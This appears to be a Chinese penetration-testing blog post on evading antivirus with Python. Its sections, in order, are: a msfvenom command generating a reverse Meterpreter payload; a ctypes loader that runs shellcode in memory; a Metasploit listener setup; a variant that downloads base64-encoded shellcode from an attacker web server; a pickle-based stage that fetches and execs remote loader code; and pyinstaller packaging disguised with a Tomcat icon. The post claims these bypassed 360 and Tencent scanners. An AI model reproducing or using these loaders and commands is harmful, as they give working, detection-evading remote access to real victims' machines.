前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python在渗透测试中的免杀

python在渗透测试中的免杀

作者头像
逍遥子大表哥
发布2023-08-19 09:54:58
4390
发布2023-08-19 09:54:58
举报
文章被收录于专栏:kali blog

免杀一直是红队和蓝队热议的话题。各种姿势的免杀绕过令人瞠目结舌。python作为当今很热门的编程语言之一,它是如何进行免杀操作的呢?

本文仅供学习和研究,坚决反对一切危害网络安全的行为。

基于内存

我们首先在msf中生成python的shellcode

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.5.81 LPORT=5555 -f python -o 33.txt

替换关键词。

替换完成后,将下面代码放到下面shellcode中去。

代码语言:javascript
复制
import ctypes
#(kali生成payload存放位置)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

接下来,我们来测试是否能正常上线。

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 192.168.5.81
set LPORT 5555
exploit -j

将保存的python代码复制到目标主机,执行python文件

如下,成功得到会话。

打包exe

并不是所有的目标主机都有python环境,因此我们需要将其打包成exe文件。

执行命令如下

代码语言:javascript
复制
pyinstaller -Fw -i tomcat.ico  --key=dabiaoge biao.py

-F 打包为单文件 -w 不显示窗口 -i ico图标文件 --key 加密字节码的密钥

等待打包完成。。。。

打包好后的可执行程序在dist目录中

运行程序后,成功上线。

免杀测试

360云查杀

电脑管家

在线查杀1/46

混淆shellcode

先用cs或者msf生成python shellcode

然后把shellcode进行BS64加密放在shellcode.txt里面并存放到服务器。

利用base64加密

接着,我们将上面加密后的代码保存为txt文件。放在/var/www/html目录下。然后启动apache服务。

代码语言:javascript
复制
service apache2 start

注意給放入的txt文件要添加权限,不然访问会403。即chmod -R 777 html

接着修改加载器的服务器地址后进行一次BaSe64加密,然后把代码放在txt里面并存放到服务器

代码语言:javascript
复制
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.5.81/33.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
 
shellcode =codecs.escape_decode(shellcode)[0]
 
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

修改主程序

修改服务器地址后使用pyinstaller打包成exe可执行文件

代码语言:javascript
复制
#-*- coding : utf-8-*-
#coding:unicode_escape
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://192.168.5.81/44.txt').read()
#sectr=str(sectr,'UTF-8')
#print(sectr)
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

为了保险起见,我们可以将其进行代码混淆

接着打包为exe文件

代码语言:javascript
复制
pyinstaller -Fw -i tomcat.ico rr.py

完美逃逸腾讯 360云查杀

cs 完美上线

总结

无论是哪种方法,归根到底都是利用了base64加密 XOR AES加密、代码混淆等方式。因此在实际工作中切勿运行来历不明的工具和软件

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/2314206

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基于内存
  • 打包exe
  • 免杀测试
  • 混淆shellcode
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档